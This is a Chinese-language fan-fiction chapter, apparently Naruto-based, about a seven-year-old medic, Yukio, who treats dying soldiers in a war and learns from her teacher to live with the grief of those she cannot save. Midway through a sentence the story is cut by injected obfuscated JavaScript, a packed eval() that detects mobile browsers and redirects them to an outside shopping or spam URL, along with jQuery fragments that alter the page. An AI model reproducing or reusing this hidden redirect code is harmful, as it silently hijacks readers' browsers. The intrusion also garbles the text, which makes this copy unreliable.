战争开始的那天，雪绪记得很清楚。
不是因为她看见了什么特别的景象。
事实上，那天早晨和平时一样，天刚蒙蒙亮，帐篷外面有鸟在叫，风吹过来带着泥土的气息。
是因为担架。
太多了。
多到她站在帐篷门口，看着那些担架源源不断地被抬进来，愣了好几秒。
一张，两张，三张——
十张，二十张，三十张——
她数不过来。
只能看见那些血。
红的。到处都是红的。
“雪绪！”野原薰的声音从里面传来，“愣着干什么？过来！”
她回过神，跑进去。
那一天，她没有停下来过。
包扎，止血，缝合，安慰。
一个接一个。
轻伤的，重伤的，快死的。
她的手上全是血，分不清是自己的还是别人的。
“这个止不住血！”
“那个需要缝合！”
“谁来帮我按住他！”
声音此起彼伏。
她穿梭其中，像一只小小的、停不下来的陀螺。
傍晚的时候，她终于有机会坐下来。
只是坐下来，不是休息。
因为她旁边还躺着一个伤员，需要她握着的手。
那个伤员很年轻，看起来比带土大不了几岁。他的胸口有一道很深的伤口，野原薰处理过了，但血还在慢慢渗。
他看着帐篷顶，眼神空空的。
雪绪握着他的手。
那只手很大，很粗糙，有很多老茧。
但很冷。
“你叫什么名字？”她问。
那个年轻人没有回答。
他只是看着帐篷顶，嘴唇微微动着，不知道在说什么。
雪绪凑近了一点，想听清。
“……妈妈……”
她听清了。
他说的是妈妈。
雪绪愣住了。
她看着他的脸，看着他年轻的脸，看着他眼睛里慢慢淡下去的光。
“你妈妈在等你。”她说，“你要活着回去。”
那个年轻人好像听见了。
他的眼睛动了动，转向她。
看了她一眼。
然后那双眼里的光，灭了。
雪绪握着他的手。
那只手，越来越冷。
她低头看着那张脸。
年轻的脸。
和她哥哥差不多大的脸。
她闭上眼睛。
但那双眼睛，那双临死前看了她一眼的眼睛，已经印在里面了。
野原薰走过来，站在她旁边。
“死了？”
雪绪点点头。
野原薰沉默了一会儿。
然后她说：“下一个。”
雪绪睁开眼睛。
她站起来，松开那只已经冷掉的手。
走向下一个伤员。
没有哭。
因为没时间哭。
那天晚上，她睡了一个时辰。
梦里全是眼睛。
临死前的眼睛。
一双，两双，三双——
都在看着她。
她醒了。
满头大汗。
躺在那里，看着帐篷顶。
心跳得很快。
过了很久，才慢慢平复。
她坐起来，看着自己的手。
月光从帐篷的缝隙里照进来，落在那双手上。
那双手，今天救了多少人？
她数不清。
那双手，今天眼睁睁看着多少人死？
她也数不清。
她只是看着那双手，看了很久。
然后躺回去。
闭上眼睛。
第二天，继续。
战争开始后的第七天，雪绪第一次走出帐篷。
不是她想出去。
是有命令。
“前线伤员太多，来不及送回来。”野原薰说，“你要去战场边缘接应。”
雪绪看着她。
“我一个人？”
野原薰沉默了一秒。
“我会派人跟着你。”她说，“但你也要学会独立处理。”
雪绪点点头。
她收拾好医疗包，跟着几个忍者出发了。
战场比她想象的要远。
走了很久，才听到那些声音。
喊杀声，惨叫声，苦无破空的声音。
还有爆炸声。
她停下来，听着那些声音。
心跳得很快。
“害怕吗？”旁边的一个忍者问。
雪绪想了想。
“有一点。”她说。
那个忍者看了她一眼，没说话。
只是继续往前走。
她跟上去。
战场边缘，比她想象的要可怕。
伤员躺得到处都是。
有的在呻吟，有的在喊叫，有的一动不动。
雪绪蹲下来，开始处理最近的一个。
腿断了，血流不止。
她止血，包扎，固定。
那个伤员看着她，眼睛里全是恐惧。
“我会死吗？”他问。
雪绪的手顿了顿。
她想起野原薰说过的话。
“不要承诺一定能救活。”
“但也不要让他们绝望。”
她看着他的眼睛。
“不会的。”她说，“你会好的。”
那个伤员看着她，眼睛里的恐惧淡了一点。
她继续包扎。
包扎完一个，又去下一个。
一个接一个。
她不知道自己处理了多少个。
只知道天快黑了，她还在那里。
“雪绪！”
一个声音从远处传来。
她抬头，看见一个忍者跑过来。
“快走！”他喊，“敌人来了！”
雪绪愣了一下。
然后她低头，看着面前这个伤员。
他的伤口刚处理到一半，血还在流。
“可是——”
“没时间了！”
那个忍者拉着她就跑。
她回头，看着那个伤员。
那个伤员也看着她。
眼睛里的恐惧，变成了绝望。
“救救我……”他说。
但她被拉着跑了。
越跑越远。
那个人的脸，越来越模糊。
最后消失在硝烟里。
那天晚上，雪绪回到帐篷。
一句话没说。
坐在角落里，抱着膝盖。
野原薰走过来，在她旁边坐下。
“今天怎么样？”
雪绪没有说话。
野原薰看着她，沉默了一会儿。
“见到死人了吗？”
雪绪点点头。
“救不了的人呢？”
又点点头。
野原薰没有再问。
只是坐在那里，陪着她。
过了很久，雪绪开口。
“老师。”
“嗯？”
“今天有一个人。”她说，“我还没处理完，就被拉走了。”
她抬起头，看着野原薰。
眼睛红红的，但没有泪。
“他看着我，说救救我。”
“我救不了他。”
野原薰看着她，看着那张小小的脸。
七岁。
在这里，面对这些。
“会有很多这样的人。”她说，“你救不了所有的人。”
雪绪低下头。
“我知道。”
“但还是难受。”
野原薰没有说话。
只是伸手，轻轻拍了拍她的头。
“那就难受
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297068|198580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着。”她说，“但不能停下来。”
雪绪点点头。
那天晚上，她没睡着。
一直躺着，看着帐篷顶。
那个人的脸，一直在。
“救救我……”
她闭上眼睛。
但那张脸，还在。
战争开始后的第十五天。
雪绪已经不记得自己见过多少死人了。
那些脸混在一起，分不清谁是谁。
只有眼睛。
临死前的眼睛。
每一双都不一样。
但每一双，都看着她。
那天下午，她又去了战场边缘。
这次是一个人。
野原薰说，她必须学会独立。
她去了。
伤员比上次更多。
她蹲下来，一个接一个地处理。
止血，包扎，固定。
那些伤员看着她，眼睛里全是希望。
但她知道，有些人她救不了。
伤口太深了，血止不住。
内脏都流出来了。
呼吸已经停了。
她只能看着。
看着他们死。
看着他们眼睛里的光，一点一点灭掉。
一个一个。
那天，她救活了八个。
眼睁睁看着五个死了。
回到帐篷的时候，天已经黑了。
她坐在角落里，抱着膝盖。
不哭。
只是坐着。
野原薰走过来，在她旁边坐下。
“今天几个？”
“五个。”雪绪说。
野原薰点点头。
“比昨天少一个。”
雪绪没有说话。
她只是看着自己的手。
那双手，今天又沾了血。
五个人的血。
“老师。”她忽然开口。
“嗯？”
“我是不是不够努力？”
野原薰看着她。
“为什么这么问？”
雪绪低着头不说话。
野原薰沉默了一会儿。
然后她开口。
“雪绪。”
雪绪抬头。
野原薰看着她，眼神很认真。
“你知道我第一次上战场的时候，救活了几个人吗？”
雪绪摇摇头。
“三个。”野原薰说，“死了十二个。”
雪绪愣住了。
“那天晚上，我一直在自我反省。”野原薰继续说，“如果我更快一点，更用力一点，会不会有人能活下来？”
她顿了顿。
“后来我知道了答案。”
“什么答案？”
“不会。”野原薰说，“因为有些人的死，和你没关系。”
她看着雪绪的眼睛。
“你只是一个人。不是神。”
雪绪看着她。
野原薰站起来。
“记住那些救不回来的人。”她说，“但别让他们把你压垮。”
她走了。
雪绪坐在那里，想了很久。
那天晚上，她梦见了很多眼睛。
一双，两双，三双——
都在看着她。
但没有害怕了。
她只是看着他们。
“对不起。”她说，“没能救你们。”
那些眼睛慢慢淡去。
她醒了。
外面天还没亮。
她躺着，看着帐篷顶。
想起野原薰说的话。
“你只是一个人。不是神。”
她闭上眼睛。
再睁开的时候，眼睛里有什么东西不一样了。
不是不难受。
是学会了和难受一起活着。
新的一天开始了。
她站起来，走向那些还在的伤员。
一个接一个。